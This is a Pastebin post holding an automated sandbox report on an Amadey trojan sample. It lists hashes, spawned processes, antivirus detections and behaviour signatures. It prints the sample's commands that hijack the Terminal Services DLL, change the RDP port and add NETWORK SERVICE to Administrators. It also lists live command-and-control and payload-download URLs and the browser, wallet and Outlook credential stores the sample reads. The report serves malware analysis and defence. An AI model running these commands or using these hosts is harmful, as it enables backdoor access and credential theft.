API tools faq
paste
paladin316

Exes_791d04b0b23498361a9e63be49a4b817_exe_2019-08-10_09_30.txt

paladin316
Aug 10th, 2019
3,849
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.78 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Amadey"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Exes_791d04b0b23498361a9e63be49a4b817.exe"
  7. * File Size: 307200
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "bdb42c8dfade11736a7c49193fb502ef7b4472d9f95df9293ae643c6e008ee63"
  10. * MD5: "791d04b0b23498361a9e63be49a4b817"
  11. * SHA1: "2220a82b296b44053aae5666970f137d2c06c666"
  12. * SHA512: "3422cb16c108485afa1ed7f8e13a5061ed2c593d6885b7a66337aa109f2add63a6f3c9bee98b92590174f46f1290e12d7015c1d233b003a0f645b400da42c95a"
  13. * CRC32: "8CAEDCBA"
  14. * SSDEEP: "6144:IwIjYuImzxMf8XMN7rmuYmb1KUnBe9d+Pi1:TBmzxMf8XM0o0UBe9d+PG"
  15.  
  16. * Process Execution:
  17. "Exes_791d04b0b23498361a9e63be49a4b817.exe",
  18. "kntd.exe",
  19. "reg.exe",
  20. "nsis.exe",
  21. "cmd.exe",
  22. "powershell.exe",
  23. "takeown.exe",
  24. "icacls.exe",
  25. "icacls.exe",
  26. "icacls.exe",
  27. "icacls.exe",
  28. "icacls.exe",
  29. "icacls.exe",
  30. "icacls.exe",
  31. "reg.exe",
  32. "reg.exe",
  33. "net.exe",
  34. "net1.exe",
  35. "cmd.exe",
  36. "cmd.exe",
  37. "rac.exe",
  38. "cmd.exe",
  39. "PING.EXE",
  40. "crypted.exe",
  41. "WerFault.exe",
  42. "services.exe",
  43. "svchost.exe",
  44. "WmiPrvSE.exe",
  45. "WmiPrvSE.exe",
  46. "lsass.exe",
  47. "svchost.exe",
  48. "lsass.exe",
  49. "lsass.exe",
  50. "svchost.exe",
  51. "svchost.exe",
  52. "svchost.exe",
  53. "svchost.exe",
  54. "svchost.exe",
  55. "taskhost.exe",
  56. "explorer.exe",
  57. "lsm.exe"
  58.  
  59.  
  60. * Executed Commands:
  61. "c:\\programdata\\adfa386ca5\\kntd.exe",
  62. "REG ADD \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" /f /v Startup /t REG_SZ /d C:\\ProgramData\\adfa386ca5",
  63. "C:\\Users\\user\\AppData\\Local\\Temp\\nsis.exe",
  64. "C:\\Users\\user\\AppData\\Local\\Temp\\rac.exe",
  65. "C:\\Users\\user\\AppData\\Local\\Temp\\crypted.exe",
  66. "\"C:\\Windows\\system32\\cmd.exe\" /C powershell -ExecutionPolicy Bypass -f C:\\Users\\user\\AppData\\Local\\Temp\\metares.ps1",
  67. "powershell -ExecutionPolicy Bypass -f C:\\Users\\user\\AppData\\Local\\Temp\\metares.ps1",
  68. "\"C:\\Windows\\system32\\takeown.exe\" /A /F rfxvmt.dll",
  69. "\"C:\\Windows\\system32\\icacls.exe\" rfxvmt.dll /inheritance:d",
  70. "\"C:\\Windows\\system32\\icacls.exe\" rfxvmt.dll /setowner \"NT SERVICE\\TrustedInstaller\"",
  71. "\"C:\\Windows\\system32\\icacls.exe\" rfxvmt.dll /grant \"NT SERVICE\\TrustedInstaller:F\"",
  72. "\"C:\\Windows\\system32\\icacls.exe\" rfxvmt.dll /remove \"NT AUTHORITY\\SYSTEM\"",
  73. "\"C:\\Windows\\system32\\icacls.exe\" rfxvmt.dll /grant \"NT AUTHORITY\\SYSTEM:RX\"",
  74. "\"C:\\Windows\\system32\\icacls.exe\" rfxvmt.dll /remove BUILTIN\\Administrators",
  75. "\"C:\\Windows\\system32\\icacls.exe\" rfxvmt.dll /grant BUILTIN\\Administrators:RX",
  76. "\"C:\\Windows\\system32\\reg.exe\" ADD \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0x1C21 /f",
  77. "\"C:\\Windows\\system32\\reg.exe\" add HKLM\\system\\currentcontrolset\\services\\TermService\\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\\help\\hlp11.dat /f",
  78. "\"C:\\Windows\\system32\\net.exe\" localgroup Administrators \"NT AUTHORITY\\NETWORK SERVICE\" /add",
  79. "\"C:\\Windows\\system32\\cmd.exe\" /c del %temp%\\*.ps1 /f",
  80. "\"C:\\Windows\\system32\\cmd.exe\" /c del %temp%\\*.txt /f",
  81. "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"C:\\Users\\user\\AppData\\Local\\Temp\\rac.exe\"",
  82. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
  83. "C:\\Windows\\system32\\lsass.exe",
  84. "C:\\Windows\\system32\\svchost.exe -k netsvcs",
  85. "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
  86. "C:\\Windows\\System32\\svchost.exe -k NetworkService",
  87. "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted",
  88. "C:\\Windows\\SysWOW64\\WerFault.exe -u -p 2344 -s 364",
  89. "C:\\Windows\\system32\\PING.EXE ping 1.1.1.1 -n 1 -w 3000",
  90. "C:\\Windows\\system32\\net1 localgroup Administrators \"NT AUTHORITY\\NETWORK SERVICE\" /add"
  91.  
  92.  
  93. * Signatures Detected:
  94.  
  95. "Description": "Creates RWX memory",
  96. "Details":
  97.  
  98.  
  99. "Description": "Possible date expiration check, exits too soon after checking local time",
  100. "Details":
  101.  
  102. "process": "cmd.exe, PID 316"
  103.  
  104.  
  105.  
  106.  
  107. "Description": "A process attempted to delay the analysis task.",
  108. "Details":
  109.  
  110. "Process": "lsm.exe tried to sleep 315 seconds, actually delayed analysis time by 0 seconds"
  111.  
  112.  
  113. "Process": "WmiPrvSE.exe tried to sleep 720 seconds, actually delayed analysis time by 0 seconds"
  114.  
  115.  
  116. "Process": "powershell.exe tried to sleep 480 seconds, actually delayed analysis time by 0 seconds"
  117.  
  118.  
  119. "Process": "kntd.exe tried to sleep 1359 seconds, actually delayed analysis time by 0 seconds"
  120.  
  121.  
  122. "Process": "svchost.exe tried to sleep 1776 seconds, actually delayed analysis time by 0 seconds"
  123.  
  124.  
  125.  
  126.  
  127. "Description": "Attempts to connect to a dead IP:Port (5 unique times)",
  128. "Details":
  129.  
  130. "IP": "34.90.198.153:80"
  131.  
  132.  
  133. "IP": "172.217.6.78:443"
  134.  
  135.  
  136. "IP": "94.158.245.184:443"
  137.  
  138.  
  139. "IP": "172.217.6.65:443"
  140.  
  141.  
  142. "IP": "47.254.197.254:80"
  143.  
  144.  
  145.  
  146.  
  147. "Description": "Loads a driver",
  148. "Details":
  149.  
  150. "driver service name": "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\RDPDR"
  151.  
  152.  
  153.  
  154.  
  155. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  156. "Details":
  157.  
  158. "ioc": "http://crl.globalsign.net/root-r2.crl0"
  159.  
  160.  
  161.  
  162.  
  163. "Description": "Network anomalies occured during the analysis.",
  164. "Details":
  165.  
  166. "Anomaly": "'1.1.1.1' getaddrinfo with no actual connection to the IP."
  167.  
  168.  
  169.  
  170.  
  171. "Description": "Reads data out of its own binary image",
  172. "Details":
  173.  
  174. "self_read": "process: Exes_791d04b0b23498361a9e63be49a4b817.exe, pid: 2432, offset: 0x00000000, length: 0x00033000"
  175.  
  176.  
  177. "self_read": "process: nsis.exe, pid: 1428, offset: 0x00000000, length: 0x002e55d8"
  178.  
  179.  
  180. "self_read": "process: nsis.exe, pid: 1428, offset: 0x00008c1c, length: 0x002dc9c0"
  181.  
  182.  
  183.  
  184.  
  185. "Description": "A process created a hidden window",
  186. "Details":
  187.  
  188. "Process": "nsis.exe -> \"C:\\Windows\\system32\\cmd.exe\""
  189.  
  190.  
  191. "Process": "rac.exe -> cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"C:\\Users\\user\\AppData\\Local\\Temp\\rac.exe\""
  192.  
  193.  
  194.  
  195.  
  196. "Description": "Drops a binary and executes it",
  197. "Details":
  198.  
  199. "binary": "C:\\programdata\\adfa386ca5\\kntd.exe"
  200.  
  201.  
  202. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\rac.exe"
  203.  
  204.  
  205. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\nsis.exe"
  206.  
  207.  
  208. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\crypted.exe"
  209.  
  210.  
  211.  
  212.  
  213. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  214. "Details":
  215.  
  216. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  217.  
  218.  
  219. "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
  220.  
  221.  
  222. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  223.  
  224.  
  225. "suspicious_request": "http://luckymonkey.net.in/j88hNjkMn/index.php"
  226.  
  227.  
  228. "suspicious_request": "http://www.rubthemoneybear.xyz/lucky/nsis.exe"
  229.  
  230.  
  231. "suspicious_request": "http://www.rubthemoneybear.xyz/lucky/rac.exe"
  232.  
  233.  
  234. "suspicious_request": "http://www.rubthemoneybear.xyz/lucky/crypted.exe"
  235.  
  236.  
  237. "suspicious_request": "http://34.90.198.153/gate/log.php"
  238.  
  239.  
  240. "suspicious_request": "http://34.90.198.153/gate/sqlite3.dll"
  241.  
  242.  
  243. "suspicious_request": "http://34.90.198.153/gate/libs.zip"
  244.  
  245.  
  246. "suspicious_request": "http://34.90.198.153/file_handler2/file.php?hash=9fe0cff318b7fed95b82c99cfc35951e6468c82f&js=fc6accfb79ac418696d93c7e874f229bc4c57e44&callback=http://34.90.198.153/gate"
  247.  
  248.  
  249.  
  250.  
  251. "Description": "Performs some HTTP requests",
  252. "Details":
  253.  
  254. "url": "http://luckymonkey.net.in/j88hNjkMn/index.php"
  255.  
  256.  
  257. "url": "http://www.rubthemoneybear.xyz/lucky/nsis.exe"
  258.  
  259.  
  260. "url": "http://www.rubthemoneybear.xyz/lucky/rac.exe"
  261.  
  262.  
  263. "url": "http://www.rubthemoneybear.xyz/lucky/crypted.exe"
  264.  
  265.  
  266. "url": "http://34.90.198.153/gate/log.php"
  267.  
  268.  
  269. "url": "http://34.90.198.153/gate/sqlite3.dll"
  270.  
  271.  
  272. "url": "http://34.90.198.153/gate/libs.zip"
  273.  
  274.  
  275. "url": "http://34.90.198.153/file_handler2/file.php?hash=9fe0cff318b7fed95b82c99cfc35951e6468c82f&js=fc6accfb79ac418696d93c7e874f229bc4c57e44&callback=http://34.90.198.153/gate"
  276.  
  277.  
  278.  
  279.  
  280. "Description": "Attempts to restart the guest VM",
  281. "Details":
  282.  
  283.  
  284. "Description": "Sniffs keystrokes",
  285. "Details":
  286.  
  287. "SetWindowsHookExW": "Process: explorer.exe(2004)"
  288.  
  289.  
  290.  
  291.  
  292. "Description": "Tries to suspend Cuckoo threads to prevent logging of malicious activity",
  293. "Details":
  294.  
  295. "Process": "svchost.exe (1828)"
  296.  
  297.  
  298.  
  299.  
  300. "Description": "Attempts to stop active services",
  301. "Details":
  302.  
  303. "servicename": "UmRdpService"
  304.  
  305.  
  306.  
  307.  
  308. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  309. "Details":
  310.  
  311. "Spam": "Exes_791d04b0b23498361a9e63be49a4b817.exe (2432) called API FindWindowExA 29469 times"
  312.  
  313.  
  314. "Spam": "services.exe (500) called API NtQuerySystemTime 12668 times"
  315.  
  316.  
  317. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 7761013 times"
  318.  
  319.  
  320. "Spam": "kntd.exe (2372) called API FindWindowExA 29469 times"
  321.  
  322.  
  323. "Spam": "crypted.exe (2344) called API FindWindowExW 29469 times"
  324.  
  325.  
  326.  
  327.  
  328. "Description": "Steals private information from local Internet browsers",
  329. "Details":
  330.  
  331. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
  332.  
  333.  
  334. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
  335.  
  336.  
  337. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  338.  
  339.  
  340.  
  341.  
  342. "Description": "Installs itself for autorun at Windows startup",
  343. "Details":
  344.  
  345. "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\TermService\\Parameters\\ServiceDLL"
  346.  
  347.  
  348. "data": "%SystemRoot%\\help\\hlp11.dat"
  349.  
  350.  
  351.  
  352.  
  353. "Description": "Collects information about installed applications",
  354. "Details":
  355.  
  356. "Program": "Microsoft Access Setup Metadata MUI 2013"
  357.  
  358.  
  359. "Program": "Microsoft Groove MUI 2013"
  360.  
  361.  
  362. "Program": "Microsoft Word MUI 2013"
  363.  
  364.  
  365. "Program": "Adobe Refresh Manager"
  366.  
  367.  
  368. "Program": "Microsoft Excel MUI 2013"
  369.  
  370.  
  371. "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xef\\xbf\\xb1ol"
  372.  
  373.  
  374. "Program": "Microsoft Outlook MUI 2013"
  375.  
  376.  
  377. "Program": "Microsoft Publisher MUI 2013"
  378.  
  379.  
  380.  
  381.  
  382. "Program": "Microsoft Office Proofing 2013"
  383.  
  384.  
  385. "Program": "Adobe Flash Player 29 ActiveX"
  386.  
  387.  
  388.  
  389.  
  390. "Program": "Microsoft Lync MUI 2013"
  391.  
  392.  
  393. "Program": "Microsoft InfoPath MUI 2013"
  394.  
  395.  
  396.  
  397.  
  398. "Program": "Microsoft DCF MUI 2013"
  399.  
  400.  
  401.  
  402.  
  403. "Description": "Creates a hidden or system file",
  404. "Details":
  405.  
  406. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1fe0a30.TMP"
  407.  
  408.  
  409.  
  410.  
  411. "Description": "Attempts to identify installed AV products by installation directory",
  412. "Details":
  413.  
  414. "file": "C:\\ProgramData\\AVAST Software"
  415.  
  416.  
  417. "file": "C:\\ProgramData\\Avira"
  418.  
  419.  
  420. "file": "C:\\ProgramData\\Kaspersky Lab"
  421.  
  422.  
  423. "file": "C:\\ProgramData\\ESET"
  424.  
  425.  
  426. "file": "C:\\ProgramData\\Panda Security"
  427.  
  428.  
  429. "file": "C:\\ProgramData\\Bitdefender"
  430.  
  431.  
  432. "file": "C:\\ProgramData\\AVG"
  433.  
  434.  
  435. "file": "C:\\ProgramData\\Doctor Web"
  436.  
  437.  
  438.  
  439.  
  440. "Description": "File has been identified by 33 Antiviruses on VirusTotal as malicious",
  441. "Details":
  442.  
  443. "MicroWorld-eScan": "Trojan.GenericKD.41540389"
  444.  
  445.  
  446. "McAfee": "RDN/Generic Downloader.x"
  447.  
  448.  
  449. "K7AntiVirus": "Riskware ( 0040eff71 )"
  450.  
  451.  
  452. "Alibaba": "TrojanDownloader:Win32/Deyma.4c57a082"
  453.  
  454.  
  455. "K7GW": "Riskware ( 0040eff71 )"
  456.  
  457.  
  458. "Cybereason": "malicious.b296b4"
  459.  
  460.  
  461. "Arcabit": "Trojan.Generic.D279DB25"
  462.  
  463.  
  464. "TrendMicro": "TROJ_GEN.R002C0PH919"
  465.  
  466.  
  467. "Symantec": "W97M.Downloader"
  468.  
  469.  
  470. "APEX": "Malicious"
  471.  
  472.  
  473. "Paloalto": "generic.ml"
  474.  
  475.  
  476. "Kaspersky": "Trojan-Downloader.Win32.Deyma.ajt"
  477.  
  478.  
  479. "BitDefender": "Trojan.GenericKD.41540389"
  480.  
  481.  
  482. "AegisLab": "Trojan.Win32.Deyma.a!c"
  483.  
  484.  
  485. "Endgame": "malicious (high confidence)"
  486.  
  487.  
  488. "Comodo": "Malware@#3isynquu9o9tk"
  489.  
  490.  
  491. "Invincea": "heuristic"
  492.  
  493.  
  494. "McAfee-GW-Edition": "RDN/Generic Downloader.x"
  495.  
  496.  
  497. "Trapmine": "malicious.moderate.ml.score"
  498.  
  499.  
  500. "FireEye": "Generic.mg.791d04b0b2349836"
  501.  
  502.  
  503. "Emsisoft": "Trojan.GenericKD.41540389 (B)"
  504.  
  505.  
  506. "SentinelOne": "DFI - Suspicious PE"
  507.  
  508.  
  509. "Microsoft": "Trojan:Win32/Tiggre!plock"
  510.  
  511.  
  512. "ZoneAlarm": "Trojan-Downloader.Win32.Deyma.ajt"
  513.  
  514.  
  515. "TACHYON": "Trojan-Downloader/W32.Deyma.307200"
  516.  
  517.  
  518. "Acronis": "suspicious"
  519.  
  520.  
  521. "ALYac": "Trojan.GenericKD.41540389"
  522.  
  523.  
  524. "Ad-Aware": "Trojan.GenericKD.41540389"
  525.  
  526.  
  527. "ESET-NOD32": "a variant of Win32/Kryptik.GVHN"
  528.  
  529.  
  530. "TrendMicro-HouseCall": "TROJ_GEN.R002C0PH919"
  531.  
  532.  
  533. "GData": "Trojan.GenericKD.41540389"
  534.  
  535.  
  536. "Panda": "Trj/GdSda.A"
  537.  
  538.  
  539. "Qihoo-360": "Win32/Trojan.Downloader.1fd"
  540.  
  541.  
  542.  
  543.  
  544. "Description": "Creates a copy of itself",
  545. "Details":
  546.  
  547. "copy": "C:\\programdata\\adfa386ca5\\kntd.exe"
  548.  
  549.  
  550.  
  551.  
  552. "Description": "Attempts to access Bitcoin/ALTCoin wallets",
  553. "Details":
  554.  
  555. "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets"
  556.  
  557.  
  558.  
  559.  
  560. "Description": "Harvests information related to installed mail clients",
  561. "Details":
  562.  
  563. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
  564.  
  565.  
  566. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings"
  567.  
  568.  
  569. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\19.0\\Outlook\\Profiles\\Outlook"
  570.  
  571.  
  572. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password"
  573.  
  574.  
  575. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
  576.  
  577.  
  578. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
  579.  
  580.  
  581. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP User Name"
  582.  
  583.  
  584. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password2"
  585.  
  586.  
  587. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Server"
  588.  
  589.  
  590. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Password"
  591.  
  592.  
  593. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Port"
  594.  
  595.  
  596. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Password2"
  597.  
  598.  
  599. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Server URL"
  600.  
  601.  
  602. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User"
  603.  
  604.  
  605. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
  606.  
  607.  
  608. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Server"
  609.  
  610.  
  611. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Password2"
  612.  
  613.  
  614. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Password"
  615.  
  616.  
  617. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
  618.  
  619.  
  620. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Server"
  621.  
  622.  
  623. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Email Address"
  624.  
  625.  
  626. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
  627.  
  628.  
  629. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Server"
  630.  
  631.  
  632. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Port"
  633.  
  634.  
  635. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password2"
  636.  
  637.  
  638. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Port"
  639.  
  640.  
  641. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User"
  642.  
  643.  
  644. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password2"
  645.  
  646.  
  647. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password"
  648.  
  649.  
  650. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password"
  651.  
  652.  
  653. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Port"
  654.  
  655.  
  656. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
  657.  
  658.  
  659. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
  660.  
  661.  
  662. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password"
  663.  
  664.  
  665. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail User Name"
  666.  
  667.  
  668. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
  669.  
  670.  
  671. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
  672.  
  673.  
  674. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\18.0\\Outlook\\Profiles\\Outlook"
  675.  
  676.  
  677. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Server"
  678.  
  679.  
  680. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Email Address"
  681.  
  682.  
  683. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\13.0\\Outlook\\Profiles\\Outlook"
  684.  
  685.  
  686. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\Outlook\\Profiles\\Outlook"
  687.  
  688.  
  689. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
  690.  
  691.  
  692. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP User Name"
  693.  
  694.  
  695. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User Name"
  696.  
  697.  
  698. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password"
  699.  
  700.  
  701. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  702.  
  703.  
  704. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User Name"
  705.  
  706.  
  707. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User"
  708.  
  709.  
  710. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User"
  711.  
  712.  
  713. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
  714.  
  715.  
  716. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP User"
  717.  
  718.  
  719. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
  720.  
  721.  
  722. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
  723.  
  724.  
  725. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User Name"
  726.  
  727.  
  728. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\17.0\\Outlook\\Profiles\\Outlook"
  729.  
  730.  
  731. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password"
  732.  
  733.  
  734. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Port"
  735.  
  736.  
  737. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User"
  738.  
  739.  
  740. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Server"
  741.  
  742.  
